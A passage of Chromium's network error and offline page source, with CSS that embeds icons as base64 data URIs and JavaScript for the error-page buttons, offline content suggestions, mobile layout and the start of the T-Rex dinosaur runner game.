content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-file {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}
.offline-content-suggestion-texts {
display: flex;
flex-direction: column;
justify-content: space-between;
line-height: 1.3;
padding: .9em;
width: 100%;
}
.offline-content-suggestion-title {
-webkit-box-orient: vertical;
-webkit-line-clamp: 3;
color: rgb(32, 33, 36);
display: -webkit-box;
font-size: 1.1em;
overflow: hidden;
text-overflow: ellipsis;
}
div.offline-content-suggestion {
align-items: stretch;
border: 1px solid rgb(218, 220, 224);
border-radius: 8px;
display: flex;
justify-content: space-between;
margin-bottom: .8em;
}
.suggestion-with-image {
flex-direction: row;
height: 8.2em;
max-height: 8.2em;
}
.suggestion-with-icon {
flex-direction: row-reverse;
height: 4.2em;
max-height: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-title {
-webkit-line-clamp: 1;
word-break: break-all;
}
.suggestion-with-icon .offline-content-suggestion-texts {
padding-inline-start: 0;
}
.offline-content-suggestion-attribution-freshness {
color: rgb(95, 99, 104);
display: flex;
font-size: .8em;
line-height: 1.7em;
}
.offline-content-suggestion-attribution {
-webkit-box-orient: vertical;
-webkit-line-clamp: 1;
display: -webkit-box;
flex-shrink: 1;
margin-inline-end: 0.3em;
overflow: hidden;
overflow-wrap: break-word;
text-overflow: ellipsis;
word-break: break-all;
}
.no-attribution .offline-content-suggestion-attribution {
display: none;
}
.offline-content-suggestion-freshness::before {
content: '-';
display: inline-block;
flex-shrink: 0;
margin-inline-end: .1em;
margin-inline-start: .1em;
}
.no-attribution .offline-content-suggestion-freshness::before {
display: none;
}
.offline-content-suggestion-freshness {
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-pin-spacer {
flex-grow: 100;
flex-shrink: 1;
}
.suggestion-with-image .offline-content-suggestion-pin {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
flex-shrink: 0;
height: 1.4em;
margin-inline-start: .4em;
width: 1.4em;
}
/* Controls the animation (and a bit more) of the launch-downloads-home action
* button when the offline content list is expanded/shown.
*/
#offline-content-list-action {
text-align: center;
transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}
/* Controls the animation of the launch-downloads-home action button when the
* offline content list is collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-list-action {
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms;
visibility: hidden;
}
#cancel-save-page-button {
background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
background-position: right 27px center;
background-repeat: no-repeat;
border: 1px solid var(--google-gray-300);
border-radius: 5px;
color: var(--google-gray-700);
margin-bottom: 26px;
padding-bottom: 16px;
padding-inline-end: 88px;
padding-inline-start: 16px;
padding-top: 16px;
text-align: start;
}
html[dir='rtl'] #cancel-save-page-button {
background-position: left 27px center;
}
#save-page-for-later-button {
display: flex;
justify-content: start;
}
#save-page-for-later-button a::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
.hidden#save-page-for-later-button {
display: none;
}
/* Don't allow overflow when in a subframe. */
html[subframe] body {
overflow: hidden;
}
#sub-frame-error {
-webkit-align-items: center;
-webkit-flex-flow: column;
-webkit-justify-content: center;
background-color: #DDD;
display: -webkit-flex;
height: 100%;
left: 0;
position: absolute;
text-align: center;
top: 0;
transition: background-color 200ms ease-in-out;
width: 100%;
}
#sub-frame-error:hover {
background-color: #EEE;
}
#sub-frame-error .icon-generic {
margin: 0 0 16px;
}
#sub-frame-error-details {
margin: 0 10px;
text-align: center;
visibility: hidden;
}
/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
visibility: visible;
}
/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
#sub-frame-error-details {
display: none;
}
}
/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
#sub-frame-error .icon-generic {
height: auto;
margin: 0;
padding-top: 0;
width: 25px;
}
}
/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
box-shadow: none;
min-width: 0;
}
/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
float: left;
}
.suggested-right > #control-buttons,
.suggested-left > #details-button {
float: right;
}
.suggested-left .secondary-button {
margin-inline-end: 0;
margin-inline-start: 16px;
}
#details-button.singular {
float: none;
}
/* download-button shows both icon and text. */
#download-button {
padding-bottom: 4px;
padding-top: 4px;
position: relative;
}
#download-button::before {
background: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
no-repeat;
content: '';
display: inline-block;
height: 24px;
margin-inline-end: 4px;
margin-inline-start: -4px;
vertical-align: middle;
width: 24px;
}
#download-button:disabled {
background: rgb(180, 206, 249);
color: rgb(255, 255, 255);
}
#buttons::after {
clear: both;
content: '';
display: block;
width: 100%;
}
/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
transform: scaleX(-1);
}
.offline {
transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
will-change: filter, background-color;
}
.offline body {
transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}
.offline #main-message > p {
display: none;
}
.offline.inverted {
background-color: #fff;
filter: invert(1);
}
.offline.inverted body {
background-color: #fff;
}
.offline .interstitial-wrapper {
color: var(--text-color);
font-size: 1em;
line-height: 1.55;
margin: 0 auto;
max-width: 600px;
padding-top: 100px;
position: relative;
width: 100%;
}
.offline .runner-container {
direction: ltr;
height: 150px;
max-width: 600px;
overflow: hidden;
position: absolute;
top: 35px;
width: 44px;
}
.offline .runner-container:focus {
outline: none;
}
.offline .runner-container:focus-visible {
outline: 3px solid var(--google-blue-300);
}
.offline .runner-canvas {
height: 150px;
max-width: 600px;
opacity: 1;
overflow: hidden;
position: absolute;
top: 0;
z-index: 10;
}
.offline .controller {
height: 100vh;
left: 0;
position: absolute;
top: 0;
width: 100vw;
z-index: 9;
}
#offline-resources {
display: none;
}
#offline-instruction {
image-rendering: pixelated;
left: 0;
margin: auto;
position: absolute;
right: 0;
top: 60px;
width: fit-content;
}
.offline-runner-live-region {
bottom: 0;
clip-path: polygon(0 0, 0 0, 0 0);
color: var(--background-color);
display: block;
font-size: xx-small;
overflow: hidden;
position: absolute;
text-align: center;
transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
user-select: none;
}
/* Custom toggle */
.slow-speed-option {
align-items: center;
background: var(--google-gray-50);
border-radius: 24px/50%;
bottom: 0;
color: var(--error-code-color);
display: inline-flex;
font-size: 1em;
left: 0;
line-height: 1.1em;
margin: 5px auto;
padding: 2px 12px 3px 20px;
position: absolute;
right: 0;
width: max-content;
z-index: 999;
}
.slow-speed-option.hidden {
display: none;
}
.slow-speed-option [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle {
cursor: pointer;
margin-inline-start: 8px;
padding: 8px 4px;
position: relative;
}
.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
cursor: default;
}
.slow-speed-option-label [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
content: '';
display: block;
margin: 0 3px;
transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}
.slow-speed-option .slow-speed-toggle::before {
background: rgb(189,193,198);
border-radius: 0.65em;
height: 0.9em;
width: 2em;
}
.slow-speed-option .slow-speed-toggle::after {
background: #fff;
border-radius: 50%;
box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
height: 1.2em;
position: absolute;
top: 51%;
transform: translate(-20%, -50%);
width: 1.1em;
}
.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
box-shadow: 0 0 8px rgb(94, 158, 214);
outline: 1px solid rgb(93, 157, 213);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-600);
opacity: 0.5;
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
background: var(--google-blue-600);
transform: translate(calc(2em - 90%), -50%);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::after {
background: var(--google-gray-50);
}
@media (max-width: 420px) {
#download-button {
padding-bottom: 12px;
padding-top: 12px;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
}
.snackbar {
border-radius: 0;
bottom: 0;
left: 0;
width: 100%;
}
}
@media (max-height: 350px) {
h1 {
margin: 0 0 15px;
}
.icon-offline {
margin: 0 0 10px;
}
.interstitial-wrapper {
margin-top: 5%;
}
.nav-wrapper {
margin-top: 30px;
}
}
@media (min-width: 420px) and (max-width: 736px) and
(min-height: 240px) and (max-height: 420px) and
(orientation:landscape) {
.interstitial-wrapper {
margin-bottom: 100px;
}
}
@media (max-width: 360px) and (max-height: 480px) {
.offline .interstitial-wrapper {
padding-top: 60px;
}
.offline .runner-container {
top: 8px;
}
}
@media (min-height: 240px) and (orientation: landscape) {
.offline .interstitial-wrapper {
margin-bottom: 90px;
}
.icon-offline {
margin-bottom: 20px;
}
}
@media (max-height: 320px) and (orientation: landscape) {
.icon-offline {
margin-bottom: 0;
}
.offline .runner-container {
top: 10px;
}
}
@media (max-width: 240px) {
button {
padding-inline-end: 12px;
padding-inline-start: 12px;
}
.interstitial-wrapper {
overflow: inherit;
padding: 0 8px;
}
}
@media (max-width: 120px) {
button {
width: auto;
}
}
.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
image-rendering: pixelated;
max-width: 100%;
overflow: hidden;
}
.arcade-mode #buttons,
.arcade-mode #main-content {
opacity: 0;
overflow: hidden;
}
.arcade-mode .interstitial-wrapper {
height: 100vh;
max-width: 100%;
overflow: hidden;
}
.arcade-mode .runner-container {
left: 0;
margin: auto;
right: 0;
transform-origin: top center;
transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
z-index: 2;
}
@media (prefers-color-scheme: dark) {
.icon {
filter: invert(1);
}
.offline .runner-canvas {
filter: invert(1);
}
.offline.inverted {
background-color: var(--background-color);
filter: invert(0);
}
.offline.inverted body {
background-color: #fff;
}
.offline.inverted .offline-runner-live-region {
color: #fff;
}
#suggestions-list a {
color: var(--link-color);
}
#error-information-button {
filter: invert(0.6);
}
.slow-speed-option {
background: var(--google-gray-800);
color: var(--google-gray-100);
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-300);
}
}
</style>
<script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @typedef {{
* downloadButtonClick: function(),
* reloadButtonClick: function(string),
* detailsButtonClick: function(),
* diagnoseErrorsButtonClick: function(),
* trackEasterEgg: function(),
* updateEasterEggHighScore: function(number),
* resetEasterEggHighScore: function(),
* launchOfflineItem: function(string, string),
* savePageForLater: function(),
* cancelSavePage: function(),
* listVisibilityChange: function(boolean),
* }}
*/
// eslint-disable-next-line no-var
var errorPageController;
const HIDDEN_CLASS = 'hidden';
// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
const data = atob(encoded_text);
let result = '';
for (let i = 0; i < data.length; i += 2) {
result +=
String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
}
return result;
}
function toggleHelpBox() {
const helpBoxOuter = document.getElementById('details');
helpBoxOuter.classList.toggle(HIDDEN_CLASS);
const detailsButton = document.getElementById('details-button');
if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.detailsText;
} else {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.hideDetailsText;
}
// Details appears over the main content on small screens.
if (mobileNav) {
document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS);
}
}
}
function diagnoseErrors() {
if (window.errorPageController) {
errorPageController.diagnoseErrorsButtonClick();
}
}
// Subframes use a different layout but the same html file. This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
document.documentElement.setAttribute('subframe', '');
isSubFrame = true;
}
// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
const context = new JsEvalContext(strings);
jstProcess(context, document.getElementById('t'));
onDocumentLoadOrUpdate();
}
// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
const iconEl = document.querySelector(frameSelector + ' .icon');
if (iconEl.classList.contains(newClass)) {
return;
}
iconEl.className = 'icon ' + newClass;
}
// Implements button clicks. This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
if (window.errorPageController) {
//
//
errorPageController.reloadButtonClick();
//
} else {
window.location = url;
}
}
function downloadButtonClick() {
if (window.errorPageController) {
errorPageController.downloadButtonClick();
const downloadButton = document.getElementById('download-button');
downloadButton.disabled = true;
/** @suppress {missingProperties} */
downloadButton.textContent = downloadButton.disabledText;
document.getElementById('download-link-wrapper')
.classList.add(HIDDEN_CLASS);
document.getElementById('download-link-clicked-wrapper')
.classList.remove(HIDDEN_CLASS);
}
}
function detailsButtonClick() {
if (window.errorPageController) {
errorPageController.detailsButtonClick();
}
}
let primaryControlOnLeft = true;
// clang-format off
//
// clang-format on
primaryControlOnLeft = false;
//
function setAutoFetchState(scheduled, can_schedule) {
document.getElementById('cancel-save-page-button')
.classList.toggle(HIDDEN_CLASS, !scheduled);
document.getElementById('save-page-for-later-button')
.classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}
function savePageLaterClick() {
errorPageController.savePageForLater();
// savePageForLater will eventually trigger a call to setAutoFetchState() when
// it completes.
}
function cancelSavePageClick() {
errorPageController.cancelSavePage();
// setAutoFetchState is not called in response to cancelSavePage(), so do it
// now.
setAutoFetchState(false, true);
}
function toggleErrorInformationPopup() {
document.getElementById('error-information-popup-container')
.classList.toggle(HIDDEN_CLASS);
}
function launchOfflineItem(itemID, name_space) {
errorPageController.launchOfflineItem(itemID, name_space);
}
function launchDownloadsPage() {
errorPageController.launchDownloadsPage();
}
function getIconForSuggestedItem(item) {
// Note: |item.content_type| contains the enum values from
// chrome::mojom::AvailableContentType.
switch (item.content_type) {
case 1: // kVideo
return 'image-video';
case 2: // kAudio
return 'image-music-note';
case 0: // kPrefetchedPage
case 3: // kOtherPage
return 'image-earth';
}
return 'image-file';
}
function getSuggestedContentDiv(item, index) {
// Note: See AvailableContentToValue in available_offline_content_helper.cc
// for the data contained in an |item|.
// TODO(carlosk): Present |snippet_base64| when that content becomes
// available.
let thumbnail = '';
const extraContainerClasses = [];
// html_inline.py will try to replace src attributes with data URIs using a
// simple regex. The following is obfuscated slightly to avoid that.
const source = 'src';
if (item.thumbnail_data_uri) {
extraContainerClasses.push('suggestion-with-image');
thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
} else {
extraContainerClasses.push('suggestion-with-icon');
const iconClass = getIconForSuggestedItem(item);
thumbnail = `<div><img class="${iconClass}"></div>`;
}
let favicon = '';
if (item.favicon_data_uri) {
favicon = `<img ${source}="${item.favicon_data_uri}">`;
} else {
extraContainerClasses.push('no-favicon');
}
if (!item.attribution_base64) {
extraContainerClasses.push('no-attribution');
}
return `
<div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
<div class="offline-content-suggestion-texts">
<div id="offline-content-suggestion-title-${index}"
class="offline-content-suggestion-title">
</div>
<div class="offline-content-suggestion-attribution-freshness">
<div id="offline-content-suggestion-favicon-${index}"
class="offline-content-suggestion-favicon">
${favicon}
</div>
<div id="offline-content-suggestion-attribution-${index}"
class="offline-content-suggestion-attribution">
</div>
<div class="offline-content-suggestion-freshness">
${item.date_modified}
</div>
<div class="offline-content-suggestion-pin-spacer"></div>
<div class="offline-content-suggestion-pin"></div>
</div>
</div>
<div class="offline-content-suggestion-thumbnail">
${thumbnail}
</div>
</div>`;
}
/**
* @typedef {{
* ID: string,
* name_space: string,
* title_base64: string,
* snippet_base64: string,
* date_modified: string,
* attribution_base64: string,
* thumbnail_data_uri: string,
* favicon_data_uri: string,
* content_type: number,
* }}
*/
let AvailableOfflineContent;
// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
return;
}
const suggestionsHTML = [];
for (let index = 0; index < suggestions.length; index++) {
suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
}
document.getElementById('offline-content-suggestions').innerHTML =
suggestionsHTML.join('\n');
// Sets textual web content using |textContent| to make sure it's handled as
// plain text.
for (let index = 0; index < suggestions.length; index++) {
document.getElementById(`offline-content-suggestion-title-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].title_base64);
document.getElementById(`offline-content-suggestion-attribution-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].attribution_base64);
}
const contentListElement = document.getElementById('offline-content-list');
if (document.dir === 'rtl') {
contentListElement.classList.add('is-rtl');
}
contentListElement.hidden = false;
// The list is configured as hidden by default. Show it if needed.
if (isShown) {
toggleOfflineContentListVisibility(false);
}
}
function toggleOfflineContentListVisibility(updatePref) {
if (!loadTimeData.valueExists('offlineContentList')) {
return;
}
const contentListElement = document.getElementById('offline-content-list');
const isVisible = !contentListElement.classList.toggle('list-hidden');
if (updatePref && window.errorPageController) {
errorPageController.listVisibilityChanged(isVisible);
}
}
// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
loadTimeData.getValue('downloadButton').msg;
const detailsButton = document.getElementById('details-button');
// If offline content suggestions will be visible, the usual buttons will not
// be presented.
const offlineContentVisible =
loadTimeData.valueExists('suggestedOfflineContentPresentation');
if (offlineContentVisible) {
document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
detailsButton.classList.add(HIDDEN_CLASS);
document.getElementById('download-link').hidden = !downloadButtonVisible;
document.getElementById('download-links-wrapper')
.classList.remove(HIDDEN_CLASS);
document.getElementById('error-information-popup-container')
.classList.add('use-popup-container', HIDDEN_CLASS);
document.getElementById('error-information-button')
.classList.remove(HIDDEN_CLASS);
}
const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
loadTimeData.getValue('attemptAutoFetch');
const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
loadTimeData.getValue('reloadButton').msg;
const reloadButton = document.getElementById('reload-button');
const downloadButton = document.getElementById('download-button');
if (reloadButton.style.display === 'none' &&
downloadButton.style.display === 'none') {
detailsButton.classList.add('singular');
}
// Show or hide control buttons.
const controlButtonDiv = document.getElementById('control-buttons');
controlButtonDiv.hidden =
offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);
const iconClass = loadTimeData.valueExists('iconClass') &&
loadTimeData.getValue('iconClass');
updateIconClass(iconClass);
if (!isSubFrame && iconClass === 'icon-offline') {
document.documentElement.classList.add('offline');
new Runner('.interstitial-wrapper');
}
}
function onDocumentLoad() {
// Sets up the proper button layout for the current platform.
const buttonsDiv = document.getElementById('buttons');
if (primaryControlOnLeft) {
buttonsDiv.classList.add('suggested-left');
} else {
buttonsDiv.classList.add('suggested-right');
}
onDocumentLoadOrUpdate();
}
document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
<script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
let mobileNav = false;
/**
* For small screen mobile the navigation buttons are moved
* below the advanced text.
*/
function onResize() {
const helpOuterBox = document.querySelector('#details');
const mainContent = document.querySelector('#main-content');
const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
'(min-height: 401px), ' +
'(max-height: 560px) and (min-height: 240px) and ' +
'(min-width: 421px)';
const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
// Check for change in nav status.
if (mobileNav !== window.matchMedia(mediaQuery).matches) {
mobileNav = !mobileNav;
// Handle showing the top content / details sections according to state.
if (mobileNav) {
mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
}
} else if (!detailsHidden) {
// Non mobile nav with visible details.
mainContent.classList.remove(HIDDEN_CLASS);
helpOuterBox.classList.remove(HIDDEN_CLASS);
if (runnerContainer) {
runnerContainer.classList.remove(HIDDEN_CLASS);
}
}
}
}
function setupMobileNav() {
window.addEventListener('resize', onResize);
onResize();
}
document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
<script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* T-Rex runner.
* @param {string} outerContainerId Outer containing element id.
* @param {!Object=} opt_config
* @constructor
* @implements {EventListener}
* @export
*/
function Runner(outerContainerId, opt_config) {
// Singleton
if (Runner.instance_) {
return Runner.instance_;
}
Runner.instance_ = this;
this.outerContainerEl = document.querySelector(outerContainerId);
this.containerEl = null;
this.snackbarEl = null;
// A div to intercept touch events. Only set while (playing && useTouch).
this.touchController = null;
this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
// Logical dimensions of the container.
this.dimensions = Runner.defaultDimensions;
this.gameType = null;
Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];
this.altGameImageSprite = null;
this.altGameModeActive = false;
this.altGameModeFlashTimer = null;
this.fadeInTimer = 0;
this.canvas = null;
this.canvasCtx = null;
this.tRex = null;
this.distanceMeter = null;
this.distanceRan = 0;
this.highestScore = 0;
this.syncHighestScore = false;
this.time = 0;
this.runningTime = 0;
this.msPerFrame = 1000 / FPS;
this.currentSpeed = this.config.SPEED;
Runner.slowDown = false;
this.obstacles = [];
this.activated = false; // Whether the easter egg has been activated.
this.playing = false; // Whether the game is currently in play state.
this.crashed = false;
this.paused = false;
this.inverted = false;
this.invertTimer = 0;
this.resizeTimerId_ = null;
this.playCount = 0;
// Sound FX.
this.audioBuffer = null;
/** @type {Object} */
this.soundFx = {};
this.generatedSoundFx = null;
// Global web audio context for playing sounds.
this.audioContext = null;
// Images.
this.images = {};
this.imagesLoaded = 0;
// Gamepad state.
this.pollingGamepads = false;
this.gamepadIndex = undefined;
this.previousGamepad = null;
if (this.isDisabled()) {
this.setupDisabledRunner();
} else {
if (Runner.isAltGameModeEnabled()) {
this.initAltGameType();
Runner.gameType = this.gameType;
}
this.loadImages();
window['initializeEasterEggHighScore'] =
this.initializeHighScore.bind(this);
}
}
/**
* Default game width.
* @const
*/
const DEFAULT_WIDTH = 600;
/**
* Frames per second.
* @const
*/
const FPS = 60;
/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;
/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);
/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;
/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';
/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';
/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';
/** @const */
const A11Y_STRINGS = {
ariaLabel: 'dinoGameA11yAriaLabel',
description: 'dinoGameA11yDescription',
gameOver: 'dinoGameA11yGameOver',
highScore: 'dinoGameA11yHighScore',
jump: 'dinoGameA11yJump',
started: 'dinoGameA11yStartGame',
speedLabel: 'dinoGameA11ySpeedToggle',
};
/**
* Default game configuration.
* Shared config for all versions of the game. Additional parameters are
